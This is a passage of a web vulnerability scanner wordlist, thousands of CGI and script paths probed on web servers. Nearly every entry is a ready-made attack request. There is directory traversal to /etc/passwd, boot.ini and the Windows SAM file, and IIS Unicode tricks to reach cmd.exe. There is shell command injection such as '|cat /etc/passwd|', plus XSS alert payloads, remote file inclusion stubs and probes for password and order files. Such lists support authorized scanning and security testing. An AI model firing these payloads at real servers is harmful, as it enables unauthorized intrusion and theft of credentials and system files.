docs/expelval/sendmail.cfm\ncfdocs/expeval/ExprCalc.cfm\ncfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:\\WINNT\\repair\\sam._\ncfdocs/expeval/displayopenedfile.cfm\ncfdocs/expeval/eval.cfm\ncfdocs/expeval/exprcalc.cfm\ncfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\\boot.ini\ncfdocs/expeval/openfile.cfm\ncfdocs/expeval/sendmail.cfm\ncfdocs/root.cfm\ncfdocs/snippets/evaluate.cfm\ncfdocs/snippets/fileexists.cfm\ncfdocs/snippets/gettempdirectory.cfm\ncfdocs/snippets/viewexample.cfm\ncfide/Administrator/startstop.html\ncfide/administrator/index.cfm\ncfusion/cfapps/forums/data/forums.mdb\ncfusion/cfapps/security/data/realm.mdb\ncfusion/cfapps/security/realm_.mdb\ncfusion/database/cfsnippets.mdb\ncfusion/database/cypress.mdb\ncfusion/database/smpolicy.mdb\ncgi-auth/userreg.cgi\ncgi-bin\ncgi-bin-sdb\ncgi-bin-sdb/printenv\ncgi-bin/\ncgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping.exe%20127.0.0.1\ncgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1\ncgi-bin/%2e%2e/abyss.conf\ncgi-bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\ncgi-bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir\ncgi-bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir\ncgi-bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir\ncgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ \ncgi-bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir\ncgi-bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir\ncgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ f\ncgi-bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir\ncgi-bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir\ncgi-bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir\ncgi-bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir\ncgi-bin/../../../../../../../../../../WINNT/system32/ipconfig.exe\ncgi-bin/../../../../winnt/system32/cmd.exe\ncgi-bin/..\\..\\..\\../winnt/system32/cmd.exe\ncgi-bin/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\system32\\cmd.exe?/c+dir+c:\\\\\ncgi-bin/.._../winnt/system32/cmd.exe?/c+dir\ncgi-bin/.access\ncgi-bin/.cobalt\ncgi-bin/.cobalt/siteUserMod/siteUserMod.cgi\ncgi-bin/.fhp\ncgi-bin/.htaccess\ncgi-bin/.htaccess.old\ncgi-bin/.htaccess.save\ncgi-bin/.htaccess~\ncgi-bin/.htpasswd\ncgi-bin/.namazu.cgi\ncgi-bin/.nsconfig\ncgi-bin/.passwd\ncgi-bin//_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15\ncgi-bin//_vti_pvt/doctodep.btr\ncgi-bin/14all-1.1.cgi?cfg=../../../../../../../../etc/passwd\ncgi-bin/14all.cgi?cfg=../../../../../../../../etc/passwd\ncgi-bin/AT-admin.cgi\ncgi-bin/AT-generate.cgi\ncgi-bin/Album?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0\ncgi-bin/AnyBoard.cgi\ncgi-bin/AnyForm\ncgi-bin/AnyForm2\ncgi-bin/Board/db/\ncgi-bin/CGImail.exe\ncgi-bin/CSMailto.cgi\ncgi-bin/CSMailto/CSMailto.cgi\ncgi-bin/Cgitest.exe\ncgi-bin/Count.cgi\ncgi-bin/CrazyWWWBoard.cgi\ncgi-bin/DCFORMS98.CGI\ncgi-bin/DCShop/auth_data/auth_user_file.txt\ncgi-bin/DCShop/orders/orders.txt\ncgi-bin/FileSeek.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd\ncgi-bin/FileSeek.cgi?head=&foot=;cat%20/etc/passwd\ncgi-bin/FileSeek.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=\ncgi-bin/FileSeek.cgi?head=;cat%20/etc/passwd|&foot=\ncgi-bin/FileSeek2.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd\ncgi-bin/FileSeek2.cgi?head=&foot=;cat%20/etc/passwd\ncgi-bin/FileSeek2.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=\ncgi-bin/FileSeek2.cgi?head=;cat%20/etc/passwd|&foot=\ncgi-bin/FormHandler.cgi?realname=aaa&email=aaa&reply_message_template=%2Fetc%2Fpasswd&reply_message_from=sq%40example.com&redirect=http%3A%2F%2Fwww.example.com&recipient=sq%40example.com\ncgi-bin/GW5\ncgi-bin/GW5/GWWEB.EXE\ncgi-bin/GW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA\ncgi-bin/GW5/GWWEB.EXE?HELP=bad-request\ncgi-bin/GW5/GWWEB.EXE?HELP=somewhereovertherainbow\ncgi-bin/GWWEB.EXE\ncgi-bin/GWWEB.EXE?HELP=bad-request\ncgi-bin/ImageFolio/admin/admin.cgi\ncgi-bin/LWGate\ncgi-bin/LWGate.cgi\ncgi-bin/MachineInfo\ncgi-bin/MsmMask.exe\ncgi-bin/MsmMask.exe?mask=/junk334\ncgi-bin/NUL/../../../../../../../../../WINNT/system32/ipconfig.exe\ncgi-bin/PRN/../../../../../../../../../WINNT/system32/ipconfig.exe\ncgi-bin/Pbcgi.exe\ncgi-bin/SGB_DIR/superguestconfig\ncgi-bin/SQLServ/sqlbrowse.asp?filepath=c:\\&Opt=3\ncgi-bin/Search.pl\ncgi-bin/Upload.pl\ncgi-bin/VsSetCookie.exe?\ncgi-bin/WINDMAIL.EXE?%20-n%20c:\\boot.ini%\ncgi-bin/WINDMAIL.EXE?%20-n%20c:\\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\\ncgi-bin/WS_FTP.ini\ncgi-bin/Web_Store/web_store.cgi\ncgi-bin/Webnews.exe\ncgi-bin/Xrun.cgi\ncgi-bin/YaBB.pl\ncgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../../../etc/passwd%00\ncgi-bin/_vti_cnf\ncgi-bin/a1disp3.cgi?../../../../../../../../../../etc/passwd\ncgi-bin/a1stats/a1disp3.cgi?../../../../../../../../../../etc/passwd\ncgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/passwd\ncgi-bin/a1stats/a1disp4.cgi?../../../../../../../etc/passwd\ncgi-bin/ad.cgi\ncgi-bin/adcycle\ncgi-bin/add_ftp.cgi\ncgi-bin/addbanner.cgi\ncgi-bin/adduser.cgi\ncgi-bin/admin.cgi\ncgi-bin/admin.cgi?list=../../../../../../../../../../etc/passwd\ncgi-bin/admin.php\ncgi-bin/admin.php3\ncgi-bin/admin.pl\ncgi-bin/admin/admin\ncgi-bin/admin/admin.cgi\ncgi-bin/admin/setup.cgi\ncgi-bin/adminhot.cgi\ncgi-bin/adminwww.cgi\ncgi-bin/af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd\ncgi-bin/aglimpse\ncgi-bin/aglimpse.cgi\ncgi-bin/alibaba.pl\ncgi-bin/alibaba.pl|dir%20..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\,\ncgi-bin/alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd\ncgi-bin/allmanage.pl\ncgi-bin/allmanageup.pl\ncgi-bin/amadmin.pl\ncgi-bin/amlite/amadmin.pl\ncgi-bin/anacondaclip.pl?template=../../../../../../../../../../etc/passwd\ncgi-bin/anacondaclip.pl?template=check\ncgi-bin/ans.pl?p=../../../../../usr/bin/id|&blah\ncgi-bin/ans/ans.pl?p=../../../../../usr/bin/id|&blah\ncgi-bin/anyboard.cgi\ncgi-bin/apexec.pl?etype=odp&template=../../../../../../../../../../etc/passwd%00.html&passurl=/category/\ncgi-bin/archie\ncgi-bin/architext_query.cgi\ncgi-bin/architext_query.pl\ncgi-bin/ash\ncgi-bin/astrocam.cgi\ncgi-bin/athcgi.exe?command=showpage&script='],[0,0]];alert('Vulnerable');a=[['\ncgi-bin/atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/\ncgi-bin/auctiondeluxe/auction.pl\ncgi-bin/auktion.cgi?menue=../../../../../../../../../../etc/passwd\ncgi-bin/auktion.pl\ncgi-bin/auth_data/auth_user_file.txt\ncgi-bin/awl/auctionweaver.pl\ncgi-bin/awstats.pl\ncgi-bin/ax-admin.cgi\ncgi-bin/ax.cgi\ncgi-bin/axs.cgi\ncgi-bin/badmin.cgi\ncgi-bin/banner.cgi\ncgi-bin/bannereditor.cgi\ncgi-bin/bash\ncgi-bin/bb-ack.sh\ncgi-bin/bb-hist.sh\ncgi-bin/bb-hist.sh?HISTFILE=../../../../../../../../../../etc/passwd\ncgi-bin/bb-hist?HISTFILE=../../../../../../../../../../etc/passwd\ncgi-bin/bb-histlog.sh\ncgi-bin/bb-hostsvc.sh\ncgi-bin/bb-hostsvc.sh?HOSTSVC=../../../../../../../../../../etc/passwd\ncgi-bin/bb-rep.sh\ncgi-bin/bb-replog.sh\ncgi-bin/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK\ncgi-bin/bbs_forum.cgi\ncgi-bin/bigconf.cgi\ncgi-bin/bigconf.cgi?command=view_textfile&file=/etc/passwd&filters=\ncgi-bin/bizdb1-search.cgi\ncgi-bin/blog/\ncgi-bin/blog/mt-check.cgi\ncgi-bin/blog/mt-load.cgi\ncgi-bin/blog/mt.cfg\ncgi-bin/bnbform\ncgi-bin/bnbform.cgi\ncgi-bin/book.cgi?action=default&current=|cat%20/etc/passwd|&form_tid=996604045&prev=main.html&list_message_index=10\ncgi-bin/boozt/admin/index.cgi?section=5&input=1\ncgi-bin/bsguest.cgi\ncgi-bin/bslist.cgi\ncgi-bin/build.cgi\ncgi-bin/bulk/bulk.cgi\ncgi-bin/c32web.exe/ChangeAdminPassword\ncgi-bin/c32web.exe/CheckError?error=53\ncgi-bin/c32web.exe/ShowAdminDir\ncgi-bin/c_download.cgi\ncgi-bin/cached_feed.cgi\ncgi-bin/cachemgr.cgi\ncgi-bin/cal_make.pl\ncgi-bin/cal_make.pl?p0=../../../../../../../../../../etc/passwd%00\ncgi-bin/calendar\ncgi-bin/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22\ncgi-bin/calendar.pl\ncgi-bin/calendar/calendar_admin.pl?config=|cat%20/etc/passwd|\ncgi-bin/calendar/index.cgi\ncgi-bin/calendar_admin.pl?config=|cat%20/etc/passwd|\ncgi-bin/calender.pl\ncgi-bin/calender_admin.pl\ncgi-bin/campas\ncgi-bin/campas?%0acat%0a/etc/passwd%0a\ncgi-bin/cart.pl\ncgi-bin/cart.pl?db='\ncgi-bin/cart32.exe\ncgi-bin/cartmanager.cgi\ncgi-bin/cbmc/forums.cgi\ncgi-bin/ceilidh.exe\ncgi-bin/cfgwiz.exe\ncgi-bin/cgforum.cgi\ncgi-bin/cgi-lib.pl\ncgi-bin/cgi-test.exe\ncgi-bin/cgi_process\ncgi-bin/cgicso?query=AAA\ncgi-bin/cgiforum.pl\ncgi-bin/cgiforum.pl?thesection=../../../../../../../../../../etc/passwd%00\ncgi-bin/cgimail.exe\ncgi-bin/cgitest.exe\ncgi-bin/cgiwrap\ncgi-bin/cgiwrap/%3Cfont%20color=red%3E\ncgi-bin/cgiwrap/~@USERS\ncgi-bin/cgiwrap/~JUNK(5)\ncgi-bin/cgiwrap/~root\ncgi-bin/change-your-password.pl\ncgi-bin/changepw.cgi\ncgi-bin/changepw.exe\ncgi-bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir\ncgi-bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir\ncgi-bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir\ncgi-bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir\ncgi-bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir\ncgi-bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir\ncgi-bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir\ncgi-bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir\ncgi-bin/class/mysql.class\ncgi-bin/classified.cgi\ncgi-bin/classifieds\ncgi-bin/classifieds.cgi\ncgi-bin/classifieds/classifieds.cgi\ncgi-bin/classifieds/index.cgi\ncgi-bin/clickcount.pl?view=test\ncgi-bin/clickresponder.pl\ncgi-bin/cmd.exe?/c+dir\ncgi-bin/cmd1.exe?/c+dir\ncgi-bin/code.php\ncgi-bin/code.php3\ncgi-bin/com5..........................................................................................................................................................................................................................box\ncgi-bin/com5.java\ncgi-bin/com5.pl\ncgi-bin/commandit.cgi\ncgi-bin/commerce.cgi?page=../../../../../../../../../../etc/passwd%00index.html\ncgi-bin/commerce.cgi?page=check\ncgi-bin/common.php?f=0&ForumLang=../../../../../../../../../../etc/passwd\ncgi-bin/common/listrec.pl\ncgi-bin/common/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc|\ncgi-bin/compatible.cgi\ncgi-bin/contents.htm\ncgi-bin/count.cgi\ncgi-bin/counter-ord\ncgi-bin/counterbanner\ncgi-bin/counterbanner-ord\ncgi-bin/counterfiglet-ord\ncgi-bin/counterfiglet/nc/\ncgi-bin/counterfiglet/nc/f\ncgi-bin/csChatRBox.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')\ncgi-bin/csGuestBook.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')\ncgi-bin/csLiveSupport.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')\ncgi-bin/csNews.cgi\ncgi-bin/csNewsPro.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')\ncgi-bin/csPassword.cgi\ncgi-bin/csPassword/csPassword.cgi\ncgi-bin/csSearch.cgi?command=savesetup&setup=`cat%20/etc/passwd`\ncgi-bin/csh\ncgi-bin/cstat.pl\ncgi-bin/cutecast/members/\ncgi-bin/cvsweb/cvsweb.cgi\ncgi-bin/dasp/fm_shell.asp\ncgi-bin/data/fetch.php?page=\ncgi-bin/date\ncgi-bin/day5datacopier.cgi\ncgi-bin/day5datanotifier.cgi\ncgi-bin/db2www/library/document.d2w/show\ncgi-bin/db4web_c/dbdirname//etc/passwd\ncgi-bin/db_manager.cgi\ncgi-bin/dbman/db.cgi?db=no-db\ncgi-bin/dcadmin.cgi\ncgi-bin/dcboard.cgi\ncgi-bin/dcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00\ncgi-bin/dcforumlib.pl\ncgi-bin/dcshop/auth_data/auth_user_file.txt\ncgi-bin/dcshop/orders/orders.txt\ncgi-bin/dfire.cgi\ncgi-bin/diagnose.cgi\ncgi-bin/dig.cgi\ncgi-bin/directorypro.cgi?want=showcat&show=../../../../../../../../../../etc/passwd%00\ncgi-bin/displayTC.pl\ncgi-bin/dmailweb.cgi\ncgi-bin/dnewsweb\ncgi-bin/dnewsweb.cgi\ncgi-bin/donothing\ncgi-bin/dose.pl\ncgi-bin/download.cgi\ncgi-bin/dumpenv.pl\ncgi-bin/echo.bat\ncgi-bin/echo.bat?&dir+c:\\\ncgi-bin/edit.pl\ncgi-bin/empower?DB=UkRteamHole\ncgi-bin/empower?DB=whateverwhatever\ncgi-bin/emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00\ncgi-bin/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00\ncgi-bin/emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00\ncgi-bin/enter.cgi\ncgi-bin/environ.cgi\ncgi-bin/environ.pl\ncgi-bin/erba/start/%3Cscript%3Ealert('Vulnerable');%3C/script%3E\ncgi-bin/errors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/\ncgi-bin/eshop.pl/seite=;cat%20eshop.pl|\ncgi-bin/everythingform.cgi\ncgi-bin/ex-logger.pl\ncgi-bin/excite\ncgi-bin/excite;IFS=\\\ncgi-bin/ezadmin.cgi\ncgi-bin/ezboard.cgi\ncgi-bin/ezman.cgi\ncgi-bin/ezshopper/loadpage.cgi?user_id=1&file=|cat%20/etc/passwd|\ncgi-bin/ezshopper/search.cgi?user_id=id&database=dbase1.exm&template=../../../../../../../etc/passwd&distinct=1\ncgi-bin/ezshopper2/loadpage.cgi\ncgi-bin/ezshopper3/loadpage.cgi\ncgi-bin/faqmanager.cgi?toc=/etc/passwd%00\ncgi-bin/faxsurvey\ncgi-bin/faxsurvey?cat%20/etc/passwd\ncgi-bin/filemail\ncgi-bin/filemail.pl\ncgi-bin/files.pl\ncgi-bin/finger\ncgi-bin/finger.cgi\ncgi-bin/finger.pl\ncgi-bin/flexform\ncgi-bin/flexform.cgi\ncgi-bin/formmail\ncgi-bin/formmail.cgi\ncgi-bin/formmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test\ncgi-bin/formmail.pl\ncgi-bin/formmail.pl?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test\ncgi-bin/formmail?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test\ncgi-bin/fortune\ncgi-bin/foxweb.dll\ncgi-bin/foxweb.exe\ncgi-bin/fpadmin.htm\ncgi-bin/fpcount.exe\ncgi-bin/fpexplore.exe\ncgi-bin/fpexplorer.exe\ncgi-bin/fpremadm.exe\ncgi-bin/fpsrvadm.exe\ncgi-bin/ftp.pl\ncgi-bin/gH.cgi\ncgi-bin/gbadmin.cgi?action=change_adminpass\ncgi-bin/gbook/gbook.cgi\ncgi-bin/gbook/gbook.cgi?_MAILTO=check;id\ncgi-bin/gbpass.pl\ncgi-bin/generate.cgi?content=../../../../../../../../../../etc/passwd%00board=board_1\ncgi-bin/generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1\ncgi-bin/generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1\ncgi-bin/get32.exe\ncgi-bin/get32.exe\\dir\ncgi-bin/getdoc.cgi\ncgi-bin/gettransbitmap\ncgi-bin/glimpse\ncgi-bin/global.cgi\ncgi-bin/gm-authors.cgi\ncgi-bin/gm-cplog.cgi\ncgi-bin/gm.cgi\ncgi-bin/guestbook.cgi\ncgi-bin/guestbook.cgi?user=cpanel&template=|/bin/cat%20/etc/passwd|\ncgi-bin/guestbook.pl\ncgi-bin/guestbook/passwd\ncgi-bin/handler\ncgi-bin/handler.cgi\ncgi-bin/handler/netsonar;cat\t/etc/passwd|?data=Download\ncgi-bin/hello.bat\ncgi-bin/hello.bat?&dir+c:\\\ncgi-bin/hitview.cgi\ncgi-bin/horde/test.php\ncgi-bin/horde/test.php?mode=phpinfo\ncgi-bin/hpnst.exe?c=p+i=SrvSystemInfo.html\ncgi-bin/hsx.cgi\ncgi-bin/hsx.cgi?show=../../../../../../../../../../../etc/passwd%00\ncgi-bin/htgrep\ncgi-bin/htgrep?file=index.html&hdr=/etc/passwd\ncgi-bin/htimage.exe\ncgi-bin/htimage.exe/path/filename?0,0\ncgi-bin/htimage.exe?0,0\ncgi-bin/html2chtml.cgi\ncgi-bin/html2wml.cgi\ncgi-bin/htmlscript\ncgi-bin/htmlscript?../../../../../../../../../../etc/passwd\ncgi-bin/htsearch\ncgi-bin/htsearch?-c/nonexistant\ncgi-bin/htsearch?config=aaa\ncgi-bin/htsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words=\ncgi-bin/htsearch?exclude=%60/etc/passwd%60\ncgi-bin/ibill.pm\ncgi-bin/icat\ncgi-bin/if/admin/nph-build.cgi\ncgi-bin/iisadmpwd/achg.htr\ncgi-bin/iisadmpwd/aexp.htr\ncgi-bin/iisadmpwd/aexp2.htr\ncgi-bin/iisadmpwd/anot.htr\ncgi-bin/ikonboard/help.cgi\ncgi-bin/ikonboard/help.cgi?\ncgi-bin/imageFolio.cgi\ncgi-bin/imagefolio/admin/admin.cgi\ncgi-bin/imagemap\ncgi-bin/imagemap.exe\ncgi-bin/inc/sendmail.inc\ncgi-bin/include/new-visitor.inc.php\ncgi-bin/index.js0x70\ncgi-bin/index.pl\ncgi-bin/info2www\ncgi-bin/info2www '(../../../../../../../bin/mail root </etc/passwd>\ncgi-bin/infosrch.cgi\ncgi-bin/input.bat\ncgi-bin/input.bat?|dir%20..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\\ncgi-bin/input2.bat\ncgi-bin/input2.bat?|dir%20..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\\ncgi-bin/ion-p.exe?page=c:\\winnt\\repair\\sam\ncgi-bin/ion-p?page=../../../../../etc/passwd\ncgi-bin/ipf/etc/gfw/ui/pwd.dat\ncgi-bin/jj\ncgi-bin/journal.cgi?folder=journal.cgi%00\ncgi-bin/ksh\ncgi-bin/lasso.cgi\ncgi-bin/lastlines.cgi?process\ncgi-bin/listrec.pl\ncgi-bin/loadpage.cgi\ncgi-bin/loadpage.cgi?user_id=1&file=../../../../../../../../../../etc/passwd\ncgi-bin/loadpage.cgi?user_id=1&file=..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini\ncgi-bin/log-reader.cgi\ncgi-bin/log/\ncgi-bin/log/nether-log.pl?checkit\ncgi-bin/login.cgi\ncgi-bin/login.pl\ncgi-bin/login.pl?course_id=\\\ncgi-bin/logit.cgi\ncgi-bin/logs.pl\ncgi-bin/logs/\ncgi-bin/logs/access_log\ncgi-bin/logs/error_log\ncgi-bin/lookwho.cgi\ncgi-bin/lsindex2.bat\ncgi-bin/lwgate\ncgi-bin/lwgate.cgi\ncgi-bin/magiccard.cgi?pa=3Dpreview&amp;next=3Dcustom&amp;page=3D../../../../../../../../../../etc/passwd\ncgi-bin/mail\ncgi-bin/mail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00\ncgi-bin/mail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../etc/passwd%00\ncgi-bin/mailfile.cgi\ncgi-bin/mailform.exe\ncgi-bin/mailform.pl\ncgi-bin/mailit.pl\ncgi-bin/maillist.cgi\ncgi-bin/maillist.pl\ncgi-bin/mailnews.cgi\ncgi-bin/mailto.cgi\ncgi-bin/main.cgi?board=FREE_BOARD&command=down_load&filename=../../../../../../../../../../etc/passwd\ncgi-bin/main_menu.pl\ncgi-bin/majordomo.pl\ncgi-bin/man.sh\ncgi-bin/mdma.bat\ncgi-bin/meta.pl\ncgi-bin/mgrqcgi\ncgi-bin/mini_logger.cgi\ncgi-bin/minimal.exe\ncgi-bin/mkilog.exe\ncgi-bin/mkplog.exe\ncgi-bin/mmstdod.cgi\ncgi-bin/mmstdod.cgi?ALTERNATE_TEMPLATES=\ncgi-bin/moin.cgi?test\ncgi-bin/mojo/mojo.cgi\ncgi-bin/mrtg.cfg?cfg=../../../../../../../../etc/passwd\ncgi-bin/mrtg.cgi?cfg=../../../../../../../../etc/passwd\ncgi-bin/mrtg.cgi?cfg=blah\ncgi-bin/ms_proxy_auth_query/\ncgi-bin/mt-static/\ncgi-bin/mt-static/mt-check.cgi\ncgi-bin/mt-static/mt-load.cgi\ncgi-bin/mt-static/mt.cfg\ncgi-bin/mt/\ncgi-bin/mt/mt-check.cgi\ncgi-bin/mt/mt-load.cgi\ncgi-bin/mt/mt.cfg\ncgi-bin/multihtml.pl?multi=/etc/passwd%00html\ncgi-bin/musicqueue.cgi\ncgi-bin/myguestbook.cgi?action=view\ncgi-bin/ncommerce3/ExecMacro/macro.d2w/%0a%0a\ncgi-bin/ncommerce3/ExecMacro/macro.d2w/NOEXISTINGHTMLBLOCK\ncgi-bin/netauth.cgi\ncgi-bin/netauth.cgi?cmd=show&page=../../../../../../../../../../etc/passwd\ncgi-bin/netpad.cgi\ncgi-bin/news/news.cgi\ncgi-bin/newsdesk.cgi?t=../../../../../../../../../../etc/passwd\ncgi-bin/newsdesk.cgi?t=../pass.txt\ncgi-bin/nimages.php\ncgi-bin/nlog-smb.cgi\ncgi-bin/nlog-smb.pl\ncgi-bin/non-existent.pl\ncgi-bin/nph-emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00\ncgi-bin/nph-error.pl\ncgi-bin/nph-exploitscanget.cgi\ncgi-bin/nph-maillist.pl\ncgi-bin/nph-publish\ncgi-bin/nph-publish.cgi\ncgi-bin/nph-showlogs.pl?files=../../&filter=.*&submit=Go&linecnt=500&refresh=0\ncgi-bin/nph-test-cgi\ncgi-bin/ntitar.pl\ncgi-bin/opendir.php?/etc/passwd\ncgi-bin/orders/orders.txt\ncgi-bin/pagelog.cgi\ncgi-bin/pals-cgi\ncgi-bin/pals-cgi?palsAction=restart&documentName=/etc/passwd\ncgi-bin/parse-file\ncgi-bin/pass\ncgi-bin/passwd\ncgi-bin/passwd.txt\ncgi-bin/password\ncgi-bin/pbcgi.cgi?name=Joe%Camel&email=%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3B%3C%2FSCRIPT%3E\ncgi-bin/perl\ncgi-bin/perl.exe\ncgi-bin/perl.exe?-v\ncgi-bin/perl?-v\ncgi-bin/perlshop.cgi\ncgi-bin/pfdispaly.cgi?'%0A/bin/cat%20/etc/passwd|'\ncgi-bin/pfdispaly.cgi?../../../../../../../../../../etc/passwd\ncgi-bin/pfdisplay\ncgi-bin/pfdisplay.cgi\ncgi-bin/pfdisplay.cgi?'%0A/bin/cat%20/etc/passwd|'\ncgi-bin/phf\ncgi-bin/phf.cgi\ncgi-bin/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd\ncgi-bin/phf?Qname=root%0Acat%20/etc/passwd%20\ncgi-bin/photo/\ncgi-bin/photo/manage.cgi\ncgi-bin/photo/protected/manage.cgi\ncgi-bin/php\ncgi-bin/php-cgi\ncgi-bin/php.cgi\ncgi-bin/php.cgi?/etc/passwd\ncgi-bin/plusmail\ncgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/bin/ls%00\ncgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=\\etc\\passwd%00\ncgi-bin/pollssi.cgi\ncgi-bin/post-query\ncgi-bin/post16.exe\ncgi-bin/post32.exe\ncgi-bin/post32.exe|dir%20c:\\\ncgi-bin/post_query\ncgi-bin/postcards.cgi\ncgi-bin/postings.cgi?action=reply&forum=&number=1&topic=000001.cgi&TopicSubject=&replyto=0\ncgi-bin/powerup/r.cgi?FILE=../../../../../../../../../../etc/passwd\ncgi-bin/ppdscgi.exe\ncgi-bin/printenv\ncgi-bin/processit.pl\ncgi-bin/profile.cgi\ncgi-bin/pu3.pl\ncgi-bin/publisher/search.cgi?dir=jobs&template=;cat%20/etc/passwd|&output_number=10\ncgi-bin/query\ncgi-bin/query?mss=%2e%2e/config\ncgi-bin/quickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id=\ncgi-bin/quikstore.cfg\ncgi-bin/quizme.cgi\ncgi-bin/r.cgi?FILE=../../../../../../../../../../etc/passwd\ncgi-bin/ratlog.cgi\ncgi-bin/redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3CSCRIPT%3Ealert%28%27Vulnerable%27%29%3C%2FSCRIPT%3E\ncgi-bin/redirect\ncgi-bin/redirect.cgi\ncgi-bin/redirect.exe\ncgi-bin/register.cgi\ncgi-bin/replicator/webpage.cgi\ncgi-bin/replicator/webpage.cgi/\ncgi-bin/responder.cgi\ncgi-bin/retrieve_password.pl\ncgi-bin/rguest.exe\ncgi-bin/rightfax/fuwww.dll/?\ncgi-bin/rksh\ncgi-bin/rmp_query\ncgi-bin/robadmin.cgi\ncgi-bin/robpoll.cgi\ncgi-bin/rpm_query\ncgi-bin/rsh\ncgi-bin/rtm.log\ncgi-bin/rwcgi60\ncgi-bin/rwcgi60/showenv\ncgi-bin/rwwwshell.pl\ncgi-bin/s.cgi?q=a&tmpl=check\ncgi-bin/sam._\ncgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1\ncgi-bin/sawmill?rfcf+%22SawmillInfo/SawmillPassword%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3\ncgi-bin/sbcgi/sitebuilder.cgi\ncgi-bin/scoadminreg.cgi\ncgi-bin/scripts/*%0a.pl\ncgi-bin/scripts/perl.exe\ncgi-bin/scripts/whois.cgi?action=load&whois=check\ncgi-bin/search\ncgi-bin/search.cgi\ncgi-bin/search.cgi?..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini\ncgi